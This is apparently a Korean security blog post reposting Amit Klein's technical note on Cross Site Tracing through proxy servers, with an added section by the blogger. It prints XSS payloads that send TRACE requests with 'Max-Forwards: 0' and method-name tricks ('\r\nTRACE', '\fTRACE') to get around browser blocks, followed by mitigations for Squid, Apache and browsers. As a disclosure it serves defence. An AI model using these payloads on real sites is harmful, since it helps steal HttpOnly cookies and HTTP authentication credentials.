XST를 취약점 점검시에 많이 지나치는 경향이 생겼다. 딱히 HttpOnly를 쓰는 곳을 많이 찾기도 어려울 뿐더라 XST로만 취약점을 리포팅 할경우 고객도 난감해 하는 경우를 많이 만났기 때문이다.
그래도 XST에 대해서 잘고 있어야 하지 않겠는가. 아래는 XST에 관한 설명으로 매우 유용한 정보인거 같고 여기에 몇자 덧붙였다. 참고하시길 바랍니다.
※ 출처 : http://www.securityfocus.com/archive/1/423028
\r은 캐럿이 그 줄 맨 앞으로 갑니다.(Carriage return)
\n은 캐럿이 다음 줄로 갑니다.(Line feed)
----------------------------------------------------------------------------------------------
Technical note
XST Strikes Back
(or perhaps "Return from the Proxy"...)
Amit Klein, January 2006(Added N3015M, January 2009)
Introduction
============
About three years ago, the concept of "Cross Site Tracing" [1] was introduced to the web application security community. In essence, the classic XST is about amplifying an existing XSS vulnerability such that HttpOnly cookies and HTTP authentication credentials can be compromised. This is done using a client side XmlHttpRequest object that sends a TRACE request back to the server, receives the request echoed back by the server's TRACE function, and extracts the information from the echoed back request.
The recommendation in [1] is to turn off TRACE support in the web server, which indeed takes care of the attack as described.
However, let us now consider a situation wherein there is a proxy server somewhere between the client (browser) and the server. In such case, it is possible to force the proxy server (at least, in theory) to respond to the TRACE request, rather than the origin server itself. Thus, HTTP TRACE can still be used to compromise the credentials of the user, even if the server does not support the TRACE request.
The technique
=============
Forcing the first proxy server in the chain to respond to the TRACE request (rather than forward it) is as simple as including an HTTP request header "Max-Forwards: 0" ([2], section 14.31).
So, for IE (up to and including 6.0 SP1) and for Mozilla/Firefox (up to and including Firefox 1.0.6), the XSS payload should be (IE code, Mozilla/Firefox modifications commented):
var x = new ActiveXObject("Microsoft.XMLHTTP");
// var x = new XMLHttpRequest();
x.open("TRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
// x.send("");
alert(x.responseText);
In IE 6.0 SP2, it seems that Microsoft silently removed support for TRACE in the XmlHttpRequest object. That is, no method starting with "TRACE" is allowed. However, a simple trick, involving a technique similar to the one used in [3] and [4] can be used to bypass this protection. Instead of using "TRACE" for the method, one can simply use "\r\nTRACE". To quote from [2]
(section 4.1):
"In the interest of robustness, servers SHOULD ignore any empty line(s) received where a Request-Line is expected. In other words, if the server is reading the protocol stream at the beginning of a message and receives a CRLF first, it should ignore the CRLF."
So the XSS payload for IE 6.0 SP2 would be:
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("\r\nTRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
Squid (2.5stable10/NT) ,Apache (2.0.54 mod_proxy) and other popular proxy servers were found to support TRACE and Max-Forwards.
M3015M Advice
=================
In IE 6.0 SP3 or lastest version, The trick silently removed support for TRACE in the XmlHttpRequest object. here is new trick, Instead of using "\r\nTRACE" for the method, one can simply use "\fTRACE".
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("\fTRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
</script>
Recommendations
===============
Proxy server vendors
--------------------
1. Ship proxy servers with default secure configuration, namely
no TRACE support disabled.
2. In the least, enable turning off support for TRACE via a configuration option.
Proxy server owners/maintainers
-------------------------------
Disable support for TRACE.
1. For Squid, add the following to the Squid configuration file
(squid.conf):
acl TRACE method TRACE
...
http_access deny TRACE
2. For Apache, use mod_rewrite to prevent support for TRACE (see [1]). Make sure to place the directive in the <proxy> section of the httpd.conf file. Also, It would be a good idea to append the "[nocase]" flag to the RewriteCond directive, to ensure case insensitive comparison (though it seems that Apache will only serve fully uppercase HTTP methods).
Browser vendors
--------------
Disable support for TRACE in the XmlHttpRequest object. Make sure you do it right though.
Web site owners
---------------
As a workaround (perhaps not too practical), enable SSL traffic only to your site.
Summary
=======
This is yet another example of peripheral web security issue, such as the ones discussed in [5]. A web application may be compromised through issues that are beyond the control of the web site owner - in this case, support for TRACE in browsers and proxy servers. In fact, in many cases the site owner has no way of even knowing that the attack took place, because the TRACE request is answered at the proxy server, and never arrives at the web server (of course, if the first proxy server is the site's reverse proxy server, or if no proxy server at all is present,
then the site owner may find out).
It seems that the TRACE method should be disabled across the board - not just in web servers, but also in proxy servers and in browsers (and possibly in other web devices).
References
==========
[1] "Cross-Site Tracing (XST)", Jeremiah Grossman, January 20th, 2003
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf
[2] "Hypertext Transfer Protocol -- HTTP/1.1" RFC 2616
http://www.ietf.org/rfc/rfc2616.txt
[3] "XS(T) attack variants which can, in some cases, eliminate the need for TRACE", Amit Klein, WebAppSec mailing list submission, January 26th, 2003
http://www.securityfocus.com/archive/107/308433
[4] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing, and a lot more...", Amit Klein, BugTraq mailing list submission, September 24th, 2005
http://www.securityfocus.com/archive/1/411585
[5] "Meanwhile, at the other side of the web server", Amit Klein, BugTraq mailing list submission, June 9th, 2005
http://www.securityfocus.com/archive/1/401866
